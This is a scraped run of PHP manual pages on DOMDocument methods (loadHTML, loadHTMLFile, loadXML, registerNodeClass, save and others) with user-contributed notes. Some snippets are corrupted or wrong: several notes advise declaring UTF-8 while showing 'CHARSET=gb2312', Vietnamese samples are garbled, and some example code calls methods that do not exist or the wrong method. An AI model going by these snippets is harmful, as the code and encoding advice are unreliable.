                            {$charset = preg_replace('~[\s\']~', '', $matches[1]);
                            }
                       }
                    }
                 }
              };
            $searchInElemnt($testDOM);
            if(isset($charset))
              {$dom = new DOMDocument('1.0', $charset);
               $dom->loadHTML('<?xml encoding="'.$charset.'">'.$html);
               foreach ($dom->childNodes as $item)
               if($item->nodeType == XML_PI_NODE)
                 {$dom->removeChild($item);
                 }
               $dom->encoding = $charset;
              }
            else
              {$dom = $testDOM;
              }
            return $dom;
           };
kerim-yagmurcu at gmx dot de 24-Dec-2016 03:13
For those of you who want to get an external URL's class element, I have 2 usefull functions. In this example we get the '<h3 class="r">'
 elements back (search result headers) from google search:

1. Check the URL (if it is reachable, existing)
<?php
# URL Check
function url_check($url) {
    $headers = @get_headers($url);
    return is_array($headers) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$headers[0]) : false;
};
?>

2. Clean the element you want to get (remove all tags, tabs, new-lines etc.)
<?php
# Function to clean a string
function clean($text){
    $clean = html_entity_decode(trim(str_replace(';','-',preg_replace('/\s+/S', " ", strip_tags($text)))));// remove everything
    return $clean;
    echo '\n';// throw a new line
}
?>

After doing that, we can output the search result headers with following method:
<?php
$searchstring = 'djceejay';
$url = 'http://www.google.de/webhp#q='.$searchstring;
if(url_check($url)){
    $doc = new DomDocument;
    $doc->validateOnParse = true;
    $doc->loadHtml(file_get_contents($url));
    $output = clean($doc->getElementByClass('r')->textContent);
    echo $output . '<br>';
}else{
    echo 'URL not reachable!';// Throw message when URL not be called
}
?>
fr at felix-riesterer dot de 13-Feb-2016 01:43
Remember: If you use an HTML5 doctype and a meta element like so

<meta CHARSET=gb2312">

your HTML code will get interpreted as ISO-8859-something and non-ASCII chars will get converted into HTML entities. However the HTML4-like version will work (as has been pointed out 10 years ago by "bigtree at 29a"):

<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312">
finkenb2 at mail dot lib dot msu dot edu 05-Oct-2015 04:03
Warning:  This does not function well with HTML5 elements such as SVG.  Most of the advice on the Web is to turn off errors in order to have it work with HTML5.
cake at brothercake dot com 16-Dec-2012 05:57
Be aware that this function doesn't actually understand HTML -- it fixes tag-soup input using the general rules of SGML, so it creates well-formed markup, but has no idea which element contexts are allowed.

For example, with input like this where the first element isn't closed:

    <span>hello <div>world</div>

loadHTML will change it to this, which is well-formed but invalid:

    <span>hello <div>world</div></span>
Alex 10-Apr-2010 08:45
Beware of the "gotcha" (works as designed but not as expected): if you use loadHTML, you cannot validate the document. Validation is only for XML. Details here: http://bugs.php.net/bug.php?id=43771&edit=1
Shane Harter 04-Jan-2010 08:42
DOMDocument is very good at dealing with imperfect markup, but it throws warnings all over the place when it does.

This isn't well documented here. The solution to this is to implement a separate aparatus for dealing with just these errors.

Set libxml_use_internal_errors(true) before calling loadHTML. This will prevent errors from bubbling up to your default error handler. And you can then get at them (if you desire) using other libxml error functions.

You can find more info here http://www.php.net/manual/en/ref.libxml.php
mdmitry at gmail dot com 21-Dec-2009 09:02
You can also load HTML as UTF-8 using this simple hack:

<?php

$doc = new DOMDocument();
$doc->loadHTML('<?xml encoding="UTF-8">' . $html);

// dirty fix
foreach ($doc->childNodes as $item)
    if ($item->nodeType == XML_PI_NODE)
        $doc->removeChild($item); // remove hack
$doc->encoding = 'UTF-8'; // insert proper

?>
piopier 14-Jun-2009 08:29
Here is a function I wrote to capitalize the previous remarks about charset problems (UTF-8...) when using loadHTML and then DOM functions.
It adds the charset meta tag just after <head> to improve automatic encoding detection, converts any specific character to an html entity, thus PHP DOM functions/attributes will return correct values.

<?php
mb_detect_order("ASCII,UTF-8,ISO-8859-1,windows-1252,iso-8859-15");
function loadNprepare($url,$encod='') {
        $content        = file_get_contents($url);
        if (!empty($content)) {
                if (empty($encod))
                        $encod  = mb_detect_encoding($content);
                $headpos        = mb_strpos($content,'<head>');
                if (FALSE=== $headpos)
                        $headpos= mb_strpos($content,'<HEAD>');
                if (FALSE!== $headpos) {
                        $headpos+=6;
                        $content = mb_substr($content,0,$headpos) . '<meta http-equiv="Content-Type" content="text/html; charset='.$encod.'">' .mb_substr($content,$headpos);
                }
                $content=mb_convert_encoding($content, 'HTML-ENTITIES', $encod);
        }
        $dom = new DomDocument;
        $res = $dom->loadHTML($content);
        if (!$res) return FALSE;
        return $dom;
}
?>

NB: it uses mb_strpos/mb_substr instead of mb_ereg_replace because that seemed more efficient with huge html pages.
Errol 11-Feb-2009 08:05
It should be noted that when any text is provided within the body tag
outside of a containing element, the DOMDocument will encapsulate that
text into a paragraph tag (<p>).

For example:
<?php
$doc = new DOMDocument();
$doc->loadHTML("<html><body>Test<br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<p>Test<br></p>
<div>Text</div>
</body></html>

while:
<?php
$doc = new DOMDocument();
$doc->loadHTML(
    "<html><body><i>Test</i><br><div>Text</div></body></html>");
echo $doc->saveHTML();
?>

will yield:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
"http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body>
<i>Test</i><br><div>Text</div>
</body></html>
jamesedwardcooke+php at gmail dot com 19-Oct-2008 11:37
Using loadHTML() automagically sets the doctype property of your DOMDocument instance(to the doctype in the html, or defaults to 4.0 Transitional). If you set the doctype with DOMImplementation it will be overridden.

I assumed it was possible to set it and then load html with the doctype I defined(in order to decide the doctype at runtime), and ran into a huge headache trying to find out where my doctype was going. Hopefully this helps someone else.
xuanbn at yahoo dot com 04-Oct-2007 01:38
If you use loadHTML() to process utf HTML string (eg in Vietnamese), you may experience result in garbage text, while some files were OK. Even your HTML already have meta charset  like

  <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">

I have discovered that, to help loadHTML() process utf file correctly, the meta tag should come first, before any utf string appear. For example, this HTML file

<html>
 <head>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
    <title> Vietnamese - Ti?ng Vi?t</title>
  </head>
<body></body>
</html>

will be OK with loadHTML() when <meta> tag appear <title> tag.

But the file below will not regcornize by loadHTML() because <title> tag contains utf string appear before <meta> tag.

<html>
 <head>
    <title> Vietnamese - Ti?ng Vi?t</title>
    <meta http-equiv="content-type" content="text/html; CHARSET=gb2312">
  </head>
<body></body>
</html>
hanhvansu at yahoo dot com 26-Apr-2007 08:50
When using loadHTML() to process UTF-8 pages, you may meet the problem that the output of dom functions are not like the input. For example, if you want to get "C?nh tranh", you will receive "Cáo?nh tranh".  I suggest we use mb_convert_encoding before load UTF-8 page :
<?php
    $pageDom = new DomDocument();
    $searchPage = mb_convert_encoding($htmlUTF8Page, 'HTML-ENTITIES', "UTF-8");
    @$pageDom->loadHTML($searchPage);

?>
romain dot lalaut at laposte dot net 15-Feb-2007 08:31
Note that the elements of such document will have no namespace even with <html xmlns="http://www.w3.org/1999/xhtml">
bigtree at DONTSPAM dot 29a dot nl 26-Apr-2005 02:15
Pay attention when loading html that has a different charset than iso-8859-1. Since this method does not actively try to figure out what the html you are trying to load is encoded in (like most browsers do), you have to specify it in the html head. If, for instance, your html is in utf-8, make sure you have a meta tag in the html's head section:

<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312"/>
</head>

If you do not specify the charset like this, all high-ascii bytes will be html-encoded. It is not enough to set the dom document you are loading the html in to UTF-8.


Load HTML from a file

  • ? DOMDocument::loadHTML
  • DOMDocument::loadXML ?
  • PHP Manual
  • DOMDocument
  • Load HTML from a file

DOMDocument::loadHTMLFile

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadHTMLFile — Load HTML from a file

说明

public DOMDocument::loadHTMLFile(string $filename, int $options = 0): bool

The function parses the HTML document in the file named filename. Unlike loading XML, HTML does not have to be well-formed to load.

Warning

This function parses the input using an HTML 4 parser. The parsing rules of HTML 5, which is what modern web browsers use, are different. Depending on the input this might result in a different DOM structure. Therefore this function cannot be safely used for sanitizing HTML.

As an example, some HTML elements will implicitly close a parent element when encountered. The rules for automatically closing parent elements differ between HTML 4 and HTML 5 and thus the resulting DOM structure that DOMDocument sees might be different from the DOM structure a web browser sees, possibly allowing an attacker to break the resulting HTML.

参数

filename

The path to the HTML file.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If an empty string is passed as the filename or an empty file is named, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

尽管非正确格式化的 HTML 仍应该被成功调入，但此函数会在遇到错误标记时产生 E_WARNING 错误。libxml 错误处理函数可以用来处理这类错误。

更新日志

版本 | 说明
8.3.0 | This function now has a tentative bool return type.
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadHTMLFile("filename.html");
echo $doc->saveHTML();
?>

参见

  • DOMDocument::loadHTML() - Load HTML from a string
  • DOMDocument::saveHTML() - Dumps the internal document into a string using HTML formatting
  • DOMDocument::saveHTMLFile() - Dumps the internal document into a file using HTML formatting

User Contributed Notes

qrworld.net 11-Nov-2014 04:37
In this post http://softontherocks.blogspot.com/2014/11/descargar-el-contenido-de-una-url_11.html I found a simple way to get the content of a URL with DOMDocument, loadHTMLFile and saveHTML().

function getURLContent($url){
    $doc = new DOMDocument;
    $doc->preserveWhiteSpace = FALSE;
    @$doc->loadHTMLFile($url);
    return $doc->saveHTML();
}
onemanbanddan at gmail dot com 04-Mar-2014 12:28
The options for surpressing errors and warnings will not work with this as they do for loadXML()
e.g.
<?php
$doc->loadHTMLFile($file, LIBXML_NOWARNING | LIBXML_NOERROR);
?>
will not work.
you must use:
<?php
libxml_use_internal_errors(true);
$doc->loadHTMLFile($file);
?>
and handle the exceptions as neccesarry.
Mark Omohundro, ajamyajax dot com 28-Nov-2008 06:32
<?php
// try this html listing example for all nodes / includes a few getElementsByTagName options:

$file = $DOCUMENT_ROOT. "test.html";
$doc = new DOMDocument();
$doc->loadHTMLFile($file);

// example 1:
$elements = $doc->getElementsByTagName('*');
// example 2:
$elements = $doc->getElementsByTagName('html');
// example 3:
//$elements = $doc->getElementsByTagName('body');
// example 4:
//$elements = $doc->getElementsByTagName('table');
// example 5:
//$elements = $doc->getElementsByTagName('div');

if (!is_null($elements)) {
  foreach ($elements as $element) {
    echo "<br/>". $element->nodeName. ": ";

    $nodes = $element->childNodes;
    foreach ($nodes as $node) {
      echo $node->nodeValue. "\n";
    }
  }
}
?>
gzech at SPAMFILTER dot eso dot org 21-Feb-2007 02:09
If you want to suppress output warnings from loadHTMLFile($url), put an @ sign in front. This even works in:
<?php
$load = @$dom->loadHTMLFile($url);
?>
andy at carobert dot com 25-May-2005 01:24
This puts the HTML into a DOM object which can be parsed by individual tags, attributes, etc..  Here is an example of getting all the 'href' attributes and corresponding node values out of the 'a' tag. Very cool....

<?php
$myhtml = <<<EOF
<html>
<head>
<title>My Page</title>
</head>
<body>
<p><a href="/mypage1">Hello World!</a></p>
<p><a href="/mypage2">Another Hello World!</a></p>
</body>
</html>
EOF;

$doc = new DOMDocument();
$doc->loadHTML($myhtml);

$tags = $doc->getElementsByTagName('a');

foreach ($tags as $tag) {
       echo $tag->getAttribute('href').' | '.$tag->nodeValue."\n";
}
?>

This should output:

/mypage1 | Hello World!
/mypage2 | Another Hello World!
bens at effortlessis dot com 08-Apr-2005 05:11
Note that this function doesn't parse the individual tags WITHIN the html file - it's all loaded as a "black box", and you end up with an XML widget that comprises nothing but the complete chunk of HTML.

I was hoping it would function as a sort of HTML-validator/parser, but that doesn't seem to be the case.


Load XML from a string

  • ? DOMDocument::loadHTMLFile
  • DOMDocument::normalizeDocument ?
  • PHP Manual
  • DOMDocument
  • Load XML from a string

DOMDocument::loadXML

(PHP 5, PHP 7, PHP 8)

DOMDocument::loadXML — Load XML from a string

说明

public DOMDocument::loadXML(string $source, int $options = 0): bool

Loads an XML document from a string.

参数

source

The string containing the XML.

options

Bitwise OR of the libxml option constants.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If an empty string is passed as the source, a warning will be generated. This warning is not generated by libxml and cannot be handled using libxml's error handling functions.

更新日志

版本 | 说明
8.3.0 | This function now has a tentative bool return type.
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Creating a Document

<?php
$doc = new DOMDocument();
$doc->loadXML('<root><node/></root>');
echo $doc->saveXML();
?>

参见

  • DOMDocument::load() - Load XML from a file
  • DOMDocument::save() - Dumps the internal XML tree back into a file
  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string

User Contributed Notes

Adrian Wiik 13-Nov-2019 09:02
A call to loadXML() will overwrite the XML declaration previously created in the constructor of DOMDocument. This can cause encoding problems if there is no XML declaration in the loaded XML and you don't have control over the source (e.g. if the XML is coming from a webservice). To fix this, set encoding AFTER loading the XML using the 'encoding' class property of DOMDocument. Example:

Bad situation:

test.xml:
<test>
    <hello>hi</hello>
    <field>?</field>
</test>

test.php:
$xmlDoc = new DOMDocument("1.0", "utf-8"); // Parameters here are overwritten anyway when using loadXML(), and are not really relevant
$testXML = file_get_contents("test.xml");
$xmlDoc->loadXML($testXML);
// Print the contents to a file or in a log function to get the output, using $xmlDoc->saveXML()

Output:
<?xml version="1.0"?>
<test>
    <hello>hi</hello>
    <field>&#xF8;</field>
</test>

Good situation:

test.xml:
<test>
    <hello>hi</hello>
    <field>?</field>
</test>

test.php:
$xmlDoc = new DOMDocument("1.0", "utf-8"); // Parameters here are overwritten anyway when using loadXML(), and are not really relevant
$testXML = file_get_contents("test.xml");
$xmlDoc->loadXML($testXML);
$xmlDoc->encoding = "utf-8";
// Print the contents to a file or in a log function to get the output, using $xmlDoc->saveXML()

Output:
<?xml version="1.0" encoding="utf-8"?>
<test>
    <hello>hi</hello>
    <field>?</field>
</test>
Gustavo L. Fabro 14-Nov-2013 04:41
Always remember that with the default parameters this function doesn't handle well large files, i.e. if a text node is longer than 10Mb it can raise an exception stating:

DOMDocument::loadXML(): internal error Extra content at the end of the document in Entity

even though the XML is fine.

The cause is a definition in parserInternals.h of lixml:
#define XML_MAX_TEXT_LENGTH 10000000

To allow the function to process larger files, pass the LIBXML_PARSEHUGE as an option and it will work just fine:

$domDocument->loadXML($xml, LIBXML_PARSEHUGE);
szalma dot laszlo at zengo dot eu 27-Oct-2009 08:14
Loading from a string works fine without the <?xml version="1.0" encoding="utf-8"?> header, but in this case the xmlEncoding won't be set, and this makes the utf-8 characters (international, and special characters) to be encoded as hexa entities when saved with saveXML()!
remacg 26-Feb-2009 07:33
Instead of doing this:

<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

simply use:

loadHTML() rather than loadXML().
olalonde at NOSPAM dot gmail dot com 21-Mar-2008 05:00
For some reason, when you set DOMDocument's property 'recover' to true, using '@' to mask errors thrown by loadXml() won't work.

Here's my workaround:

function maskErrors() {}
set_error_handler('maskErrors');
$dom->loadXml($xml);
restore_error_handler();

You could also simply do this: error_reporting(0); and then set back error_reporting to its original state.
Stuart Grimshaw 26-Jun-2007 01:57
Possible values for the options parameter can be found here:

http://us3.php.net/manual/en/ref.libxml.php#libxml.constants
Marc Liyanage 18-Jun-2007 07:08
The documentation states that loadXML can be called statically, but this is misleading. This feature seems to be a special case hack and its use seems to be discouraged according to http://bugs.php.net/bug.php?id=41398.

Calling the method statically will fail with an error if the code runs with E_STRICT error reporting enabled.

The documentation should be changed to make it clear that a static call is against recommended practice and won't work with E_STRICT.
jazzslider at hotmail dot com 30-Apr-2007 01:14
When using loadXML() to parse a string that contains entity references (e.g., &nbsp;), be sure that those entity references are properly declared through the use of a DOCTYPE declaration; otherwise, loadXML() will not be able to interpret the string.

Example:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd1 = new DOMDocument();
$dd1->loadXML($str);

echo $dd1->saveXML();
?>

Given the above code, PHP will issue a Warning about the entity 'nbsp' not being properly declared.  Also, the call to saveXML() will return nothing but a trimmed-down version of the original processing instruction...everything else is gone, and all because of the undeclared entity.

Instead, explicitly declare the entity first:
<?php
$str = <<<XML
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE root [
<!ENTITY nbsp "&#160;">
]>
<div>This&nbsp;is a non-breaking space.</div>
XML;

$dd2 = new DOMDocument();
$dd2->loadXML($str);

echo $dd2->saveXML();
?>

Since the 'nbsp' entity is defined in the DOCTYPE, PHP no longer issues that Warning; the string is now well-formed, and loadXML() understands it perfectly.

You can also use references to external DTDs in the same way (e.g., <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">), which is particularly important if you need to do this for many different documents with many different possible entities.

Also, as a sidenote...entity references created by createEntityReference() do not need this kind of explicit declaration.
shaoyu73 at gmail dot com 15-Mar-2007 08:53
earth at anonymous dot com,

preserveWhiteSpace property needs to be set to false for formatOutput to work properly, for some reason.

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->loadXML($xmlStr);
...
$element->appendChild(...);
...
$dom->formatOutput = true;
$xmlStr = $dom->saveXML();
echo $xmlStr;

This would format the output nicely.
Gavin Sinai gsinai at gmx dot net 30-Aug-2006 07:34
loadXml reports an error instead of throwing an exception when the xml is not well formed. This is annoying if you are trying to to loadXml() in a try...catch statement. Apparently its a feature, not a bug, because this conforms to a spefication.

If you want to catch an exception instead of generating a report, you could do something like

<?php
function HandleXmlError($errno, $errstr, $errfile, $errline)
{
    if ($errno==E_WARNING && (substr_count($errstr,"DOMDocument::loadXML()")>0))
    {
        throw new DOMException($errstr);
    }
    else
        return false;
}

function XmlLoader($strXml)
{
    set_error_handler('HandleXmlError');
    $dom = new DOMDocument();
    $dom->loadXml($strXml);
    restore_error_handler();
    return $dom;
 }

?>

Returning false in function HandleXmlError() causes a fallback to the default error handler.
mp at webfactory dot de 08-Aug-2006 08:26
While loadXML() expects its input to have a leading XML processing instruction to deduce the encoding used, there's no such concept in (non-XML) HTML documents. Thus, the libxml library underlying the DOM functions peeks at the <META> tags to figure out the encoding used.

See http://xmlsoft.org/encoding.html.
earth at anonymous dot com 12-Apr-2006 02:28
Note that loadXML crops off beginning and trailing whitespace and linebreaks.

When using loadXML and appendChild to add a chunk of XML to an existing document, you may want to force a linebreak between the end of the XML chunk and the next line (usually a close tag) in the output file:

$childDocument = new DOMDocument;
$childDocument>preserveWhiteSpace = true;
$childDocument->loadXML(..XML-Chunk..);
$mNewNode = $mainDOcument->importNode($childDocument->documentElement, true);
$ParentNode->appendChild($mNewNode);
$ParentNode->appendChild($mainDocument->createTextNode("\\n  ");

Although it is said that DOM should not be used to make 'pretty' XML output, it is something I struggled with to get something that was readable for testing.  Another solution is to use the createDocumentFragment()->appendXML(..XML-Chunk..) instead, which seems not to trim off linebreaks like DOMDocument->loadXML() does.


Normalizes the document

  • ? DOMDocument::loadXML
  • DOMDocument::prepend ?
  • PHP Manual
  • DOMDocument
  • Normalizes the document

DOMDocument::normalizeDocument

(PHP 5, PHP 7, PHP 8)

DOMDocument::normalizeDocument — Normalizes the document

说明

public DOMDocument::normalizeDocument(): void

This method acts as if you saved and then loaded the document, putting the document in a "normal" form.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • » The DOM Specification
  • DOMNode::normalize() - Normalizes the node

User Contributed Notes

lingasamy dot sakthivel at gmail dot com 16-Apr-2015 05:44
You can use this in this way.

$doc = new DOMDocument('1.0', 'UTF-8');
$doc->loadHTML($content); // html content
$xpath = new DOMXPath($doc);
$doc->normalizeDocument();

Note that, you can use $doc->normalizeDocument(); at any point of time.


Prepends nodes before the first child node

  • ? DOMDocument::normalizeDocument
  • DOMDocument::registerNodeClass ?
  • PHP Manual
  • DOMDocument
  • Prepends nodes before the first child node

DOMDocument::prepend

(PHP 8)

DOMDocument::prepend — Prepends nodes before the first child node

说明

public DOMDocument::prepend(DOMNode|string ...$nodes): void

Prepends one or many nodes to the list of children before the first child node.

参数

nodes

The nodes to prepend. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocument::prepend() example

Adds nodes before the document root.

<?php
$doc = new DOMDocument;
$doc->loadXML("<world/>");

$doc->prepend($doc->createElement("hello"), "beautiful");

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
<hello/>
beautiful
<world/>

参见

  • DOMParentNode::prepend() - Prepends nodes before the first child node
  • DOMDocument::append() - Appends nodes after the last child node

User Contributed Notes

There are no user contributed notes for this page.


Register extended class used to create base node type

  • ? DOMDocument::prepend
  • DOMDocument::relaxNGValidate ?
  • PHP Manual
  • DOMDocument
  • Register extended class used to create base node type

DOMDocument::registerNodeClass

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMDocument::registerNodeClass — Register extended class used to create base node type

说明

public DOMDocument::registerNodeClass(string $baseClass, ?string $extendedClass): bool

This method allows you to register your own extended DOM class to be used afterward by the PHP DOM extension.

This method is not part of the DOM standard.

Caution

The constructor of the objects of the registered node classes is not called.

参数

baseClass

The DOM class that you want to extend. You can find a list of these classes in the chapter introduction.

extendedClass

Your extended class name. If null is provided, any previously registered class extending baseClass will be removed.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Adding a new method to DOMElement to ease our code

<?php

class myElement extends DOMElement {
function appendElement($name) {
return $this->appendChild(new myElement($name));
}
}

class myDocument extends DOMDocument {
function setRoot($name) {
return $this->appendChild(new myElement($name));
}
}

$doc = new myDocument();
$doc->registerNodeClass('DOMElement', 'myElement');

// From now on, adding an element to another costs only one method call !
$root = $doc->setRoot('root');
$child = $root->appendElement('child');
$child->setAttribute('foo', 'bar');

echo $doc->saveXML();

?>

以上示例会输出：

<?xml version="1.0"?>
<root><child foo="bar"/></root>

Example #2 Retrieving elements as custom class

<?php
class myElement extends DOMElement {
public function __toString() {
return $this->nodeValue;
}
}

$doc = new DOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");
$doc->registerNodeClass("DOMElement", "myElement");

$element = $doc->getElementsByTagName("child")->item(0);
var_dump(get_class($element));

// And take advantage of the __toString method..
echo $element;
?>

以上示例会输出：

string(9) "myElement"
text in child

Example #3 Retrieving owner document

When instantiating a custom DOMDocument the ownerDocument property will refer to the instantiated class. However, if all references to that class are removed, it will be destroyed and new DOMDocument will be created instead. For that reason you might use DOMDocument::registerNodeClass() with DOMDocument

<?php
class MyDOMDocument extends DOMDocument {
}

class MyOtherDOMDocument extends DOMDocument {
}

// Create MyDOMDocument with some XML
$doc = new MyDOMDocument;
$doc->loadXML("<root><element><child>text in child</child></element></root>");

$child = $doc->getElementsByTagName("child")->item(0);

// The current owner of the node is MyDOMDocument
var_dump(get_class($child->ownerDocument));
// MyDOMDocument is destroyed
unset($doc);
// And new DOMDocument instance is created
var_dump(get_class($child->ownerDocument));

// Import a node from MyDOMDocument
$newdoc = new MyOtherDOMDocument;
$child = $newdoc->importNode($child);

// Register custom DOMDocument
$newdoc->registerNodeClass("DOMDocument", "MyOtherDOMDocument");

var_dump(get_class($child->ownerDocument));
unset($doc);
// New MyOtherDOMDocument is created
var_dump(get_class($child->ownerDocument));
?>

以上示例会输出：

string(13) "MyDOMDocument"
string(11) "DOMDocument"
string(18) "MyOtherDOMDocument"
string(18) "MyOtherDOMDocument"

Example #4 Custom objects are transient

Caution

Objects of the registered node classes are transient, i.e. they are destroyed when they are no longer referenced from PHP code, and recreated when being retrieved again. That implies that custom property values will be lost after recreation.

<?php
class MyDOMElement extends DOMElement
{
public $myProp = 'default value';
}

$doc = new DOMDocument();
$doc->registerNodeClass('DOMElement', 'MyDOMElement');

$node = $doc->createElement('a');
$node->myProp = 'modified value';
$doc->appendChild($node);

echo $doc->childNodes[0]->myProp, PHP_EOL;
unset($node);
echo $doc->childNodes[0]->myProp, PHP_EOL;
?>

以上示例会输出：

modified value
default value

User Contributed Notes

crh3675 at gmail dot com 25-Sep-2009 08:23
Creating innerHTML and outerHTML

<?php

class DOMHTMLElement extends DOMElement
{
    function __construct() { parent::__construct();}

    public function innerHTML()
    {
        $doc = new DOMDocument();
      foreach ($this->childNodes as $child){
          $doc->appendChild($doc->importNode($child, true));
        }
        $content = $doc->saveHTML();
        return $content;
    }

    public function outerHTML()
    {
        $doc = new DOMDocument();
        $doc->appendChild($doc->importNode($this, true));
        $content = $doc->saveHTML();
        return $content;
    }
}

$dom = DOMDocument::loadHTMLFile($file);
$dom->registerNodeClass('DOMElement','DOMHTMLElement');

if($dom)
{
    $xpath = new DOMXpath($dom);
    $regions = $xpath->query("//*[contains(@class, 'editable')]");
    $content = '';

    foreach($regions as $region){
        $content .= $region->outerHTML();
    }

    return $content;

}else{
    throw new Exception('Cannot parse HTML.  Please verify the syntax is correct.');
}
?>
arnold at adaniels dot nl 22-Jul-2009 03:10
Note than save and saveXML are not affected by __toString().


Performs relaxNG validation on the document

  • ? DOMDocument::registerNodeClass
  • DOMDocument::relaxNGValidateSource ?
  • PHP Manual
  • DOMDocument
  • Performs relaxNG validation on the document

DOMDocument::relaxNGValidate

(PHP 5, PHP 7, PHP 8)

DOMDocument::relaxNGValidate — Performs relaxNG validation on the document

说明

public DOMDocument::relaxNGValidate(string $filename): bool

Performs » relaxNG validation on the document based on the given RNG schema.

参数

filename

The RNG file.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMDocument::relaxNGValidateSource() - Performs relaxNG validation on the document
  • DOMDocument::schemaValidate() - Validates a document based on a schema. Only XML Schema 1.0 is supported.
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

scarywound at gmail dot com 17-Oct-2012 11:39
Keep in mind that this method can't handle schemas in compact syntax!


Performs relaxNG validation on the document

  • ? DOMDocument::relaxNGValidate
  • DOMDocument::replaceChildren ?
  • PHP Manual
  • DOMDocument
  • Performs relaxNG validation on the document

DOMDocument::relaxNGValidateSource

(PHP 5, PHP 7, PHP 8)

DOMDocument::relaxNGValidateSource — Performs relaxNG validation on the document

说明

public DOMDocument::relaxNGValidateSource(string $source): bool

Performs » relaxNG validation on the document based on the given RNG source.

参数

source

A string containing the RNG schema.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • DOMDocument::relaxNGValidate() - Performs relaxNG validation on the document
  • DOMDocument::schemaValidate() - Validates a document based on a schema. Only XML Schema 1.0 is supported.
  • DOMDocument::schemaValidateSource() - Validates a document based on a schema
  • DOMDocument::validate() - Validates the document based on its DTD

User Contributed Notes

There are no user contributed notes for this page.


Replace children in document

  • ? DOMDocument::relaxNGValidateSource
  • DOMDocument::save ?
  • PHP Manual
  • DOMDocument
  • Replace children in document

DOMDocument::replaceChildren

(PHP 8 >= 8.3.0)

DOMDocument::replaceChildren — Replace children in document

说明

public DOMDocument::replaceChildren(DOMNode|string ...$nodes): void

Replaces the children in the document with new nodes.

参数

nodes

The nodes replacing the children. Strings are automatically converted to text nodes.

返回值

没有返回值。

错误／异常

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of one of the passed nodes, or if the node to put in is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if one of the passed nodes was created from a different document than the one that created this node.

更新日志

版本 | 说明
8.3.0 | Calling this method on a node without an owner document now works. Previously this threw a DOMException with code DOM_HIERARCHY_REQUEST_ERR.

示例

Example #1 DOMDocument::replaceChildren() example

Replaces the children with new nodes.

<?php
$doc = new DOMDocument;
$doc->loadXML("<container><hello/></container>");

$doc->replaceWith("beautiful", $doc->createElement("world"));

echo $doc->saveXML();
?>

以上示例会输出：

<?xml version="1.0"?>
beautiful
<world/>

参见

  • DOMParentNode::replaceChildren() - Replace children in node
  • DOMDocument::append() - Appends nodes after the last child node
  • DOMDocument::prepend() - Prepends nodes before the first child node

User Contributed Notes

There are no user contributed notes for this page.


Dumps the internal XML tree back into a file

  • ? DOMDocument::replaceChildren
  • DOMDocument::saveHTML ?
  • PHP Manual
  • DOMDocument
  • Dumps the internal XML tree back into a file

DOMDocument::save

(PHP 5, PHP 7, PHP 8)

DOMDocument::save — Dumps the internal XML tree back into a file

说明

public DOMDocument::save(string $filename, int $options = 0): int|false

Creates an XML document from the DOM representation. This function is usually called after building a new dom document from scratch as in the example below.

参数

filename

The path to the saved XML document.

options

Additional Options. Currently only LIBXML_NOEMPTYTAG is supported.

返回值

Returns the number of bytes written or false if an error occurred.

示例

Example #1 Saving a DOM tree into a file

<?php

$doc = new DOMDocument('1.0');
// we want a nice output
$doc->formatOutput = true;

$root = $doc->createElement('book');
$root = $doc->appendChild($root);

$title = $doc->createElement('title');
$title = $root->appendChild($title);

$text = $doc->createTextNode('This is the title');
$text = $title->appendChild($text);

echo 'Wrote: ' . $doc->save("/tmp/test.xml") . ' bytes'; // Wrote: 72 bytes

?>

参见

  • DOMDocument::saveXML() - Dumps the internal XML tree back into a string
  • DOMDocument::load() - Load XML from a file
  • DOMDocument::loadXML() - Load XML from a string

User Contributed Notes

